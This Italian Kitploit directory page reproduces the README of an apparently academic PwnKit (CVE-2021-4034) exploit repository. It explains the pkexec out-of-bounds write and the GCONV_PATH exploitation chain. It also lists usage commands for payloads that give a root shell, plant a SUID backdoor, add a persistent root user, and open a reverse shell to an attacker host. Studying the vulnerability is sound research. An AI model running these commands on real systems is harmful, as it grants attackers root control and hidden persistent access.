Skip to content
KitploitKITPLOIT
StrumentiExploitsBlog
Log in
Invia
StrumentiExploitsBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

FeedContattoPrivacy© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2021-4034 — Ricerca di tesi magistrale su CVE-2021-4034 (PwnKit), escalation dei privilegi locale. Exploit Python multi-payload con 7 modalità, tra cui shell interattiva, backdoor SUID, reverse shell e creazione di utente root. Include analisi della causa principale e documentazione della catena di sfruttamento. | Kitploit
Strumenti/GitHubGitHub/devianntsec/cve-2021-4034
Escalation di PrivilegiMemory ForensicsAnalisi delle VulnerabilitàExploitPost-ExploitPenetration TestingApprendimento e FormazioneRed TeamingSviluppo Payload

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →

Informazioni

Ricerca di tesi magistrale su CVE-2021-4034 (PwnKit), escalation dei privilegi locale. Exploit Python multi-payload con 7 modalità, tra cui shell interattiva, backdoor SUID, reverse shell e creazione di utente root. Include analisi della causa principale e documentazione della catena di sfruttamento.

Binary Exploitation
GitHubdevianntsec/cve-2021-4034

CVE-2021-4034

Vedi Repository
1536 mesi faNon ancora revisionato
Condividi

CVE-2021-4034 — PwnKit Escalation Locale dei Privilegi · Ricerca per Tesi Magistrale

Platform Language License: MIT Research CVSS

Vulnerabilità di corruzione della memoria nell'utility pkexec di polkit
Escalation locale dei privilegi → root tramite scrittura fuori dai limiti
Versioni interessate: polkit 0.105-31 e precedenti · Patch: polkit 0.105-33 (gennaio 2022)


Shell root interattiva ottenuta tramite CVE-2021-4034 - PwnKit

Descrizione

Questo repository contiene la mia ricerca per la Tesi Magistrale su CVE-2021-4034, una vulnerabilità di Escalation Locale dei Privilegi ad alta gravità (CVSS 7.8) nell'utility pkexec di polkit, comunemente nota come PwnKit.

La vulnerabilità ha origine da una scrittura fuori dai limiti nella logica di elaborazione degli argomenti di pkexec. Quando pkexec viene eseguito con un argv vuoto o manipolato, legge e scrive oltre i limiti dell'array argv nell'array envp, consentendo a un utente locale non privilegiato di iniettare variabili d'ambiente dannose che vengono successivamente caricate come libreria condivisa, eseguendo codice arbitrario con privilegi di root.

Il Mio Contributo

AspettoDescrizione
Exploit multi-payloadWrapper Python con 6 modalità di payload, tra cui shell, id, backdoor e reverse shell
Configurazione automatica dell'ambienteCostruzione automatica di GCONV_PATH e configurazione di gconv-modules
Moduli post-exploitationBackdoor SUID, creazione di utenti root ed esecuzione di comandi personalizzati
Documentazione accademicaAnalisi della causa principale, catena di sfruttamento e cronologia della vulnerabilità

Struttura del Repository

CVE-2021-4034/
├── README.md                        # This file
├── LICENSE                          # MIT License
│
├── exploit/
│   └── pwnkit.py                    # Advanced exploit with multiple payloads
│
└── docs/
    ├── screenshots/                 # Exploitation demonstrations
    │   ├── 01-pwnkit-shell.png
    │   ├── 02-pwnkit-id.png
    │   ├── 03-pwnkit-whoami.png
    │   ├── 04-pwnkit-backdoor.png
    │   ├── 05-pwnkit-add-user.png
    │   ├── 06-pwnkit-reverse.png
    │   └── 07-pwnkit-custom.png
    │
    └── analysis/
        ├── 01-root-cause.md         # Vulnerability root cause analysis
        ├── 02-exploitation-chain.md # Exploitation chain breakdown
        └── 03-timeline.md           # CVE timeline

Avvio Rapido

Prerequisiti

  • Sistema Linux con polkit vulnerabile (pkexec --version mostra 0.105 o precedente)
  • Compilatore GCC (apt install gcc)
  • Python 3.6+
  • Account utente standard (root non richiesto)
  • VM isolata consigliata per i test

Utilizzo

# Interactive root shell (default)
python3 exploit/pwnkit.py -p shell

# Verify execution context
python3 exploit/pwnkit.py -p whoami

# Execute custom command as root
python3 exploit/pwnkit.py -p custom -c "id"

# Create SUID backdoor at /tmp/.sh
python3 exploit/pwnkit.py -p backdoor_suid

# Add persistent root user
python3 exploit/pwnkit.py -p add_root_user --username backdoor --password mypassword

# Reverse shell
python3 exploit/pwnkit.py -p reverse_shell --lhost 192.168.1.10 --lport 4444

Riferimento dei Payload

PayloadDescrizioneOutput
shellAvvia una /bin/sh interattiva come rootShell interattiva
idScrive l'output di id e whoami in /tmp/pwnkit_id.txtFile
whoamiScrive la verifica UID/eUID in /tmp/pwnkit_root_testFile
backdoor_suidCrea una copia root SUID di bash in /tmp/.shBackdoor persistente
add_root_userAggiunge un utente personalizzato a /etc/passwdAccesso persistente
reverse_shellSi riconnette all'attaccante tramite PythonShell remota
customEsegue qualsiasi comando come rootStdout / file

Panoramica Tecnica

Causa Principale della Vulnerabilità

pkexec elabora il proprio argv per individuare il programma da eseguire. Quando viene invocato con argc == 0 (vettore di argomenti vuoto), il controllo dei limiti su argv fallisce silenziosamente. La successiva lettura fuori dai limiti tratta envp[0] come argv[1], e la scrittura fuori dai limiti in envp consente a un attaccante di sostituire una variabile d'ambiente con un percorso appositamente costruito. Quando pkexec chiama successivamente g_printerr(), carica GCONV_PATH dall'ambiente ora controllato dall'attaccante, caricando una libreria condivisa fornita dall'attaccante con privilegi di root.

argc == 0  →  argv[1] reads envp[0]
             argv[1] = "GCONV_PATH=."  (writes back into envp)
             pkexec loads ./pwnkit.so  (attacker-controlled shared library)
             gconv_init() executes as root

Catena di Sfruttamento

  1. Costruisci argv = { NULL } → argc = 0, attiva l'accesso fuori dai limiti
  2. Imposta envp[0] = "pwnkit.so:."
  3. Imposta envp[1] = "PATH=GCONV_PATH=."
  4. pkexec scrive fuori dai limiti "pwnkit.so:." in envp[0] come se fosse argv[1]
  5. pkexec risolve GCONV_PATH=. e carica gconv-modules
  6. gconv-modules associa il set di caratteri "PWNKIT" a pwnkit.so
  7. pwnkit.so:gconv_init() viene chiamato con privilegi di root
  8. Il payload viene eseguito (shell / backdoor / reverse shell / ecc.)

Dettagli Tecnici Principali

ComponenteValoreNote
Binario vulnerabile/usr/bin/pkexecSUID root
Condizione di attivazioneargc == 0argv vuoto
Primitiva di scritturaScrittura fuori dai limiti in envpTramite argv[argc-1]
Meccanismo di caricamentoGCONV_PATH + gconv-modulesiconv standard di glibc
Contesto di esecuzionegconv_init() nella libreria condivisaEseguito con EUID 0
Versioni interessatepolkit ≤ 0.105-31Tutte le principali distribuzioni Linux

Dimostrazioni

Shell Root Interattiva

Shell Interattiva

Verifica ID

Verifica ID

Verifica Whoami

Verifica Whoami

Backdoor SUID

Backdoor SUID

Aggiunta Utente Root

Aggiunta Utente Root

Reverse Shell

Reverse Shell

Comando Personalizzato

Comando Personalizzato


Test Empirici

Scarica lo strumento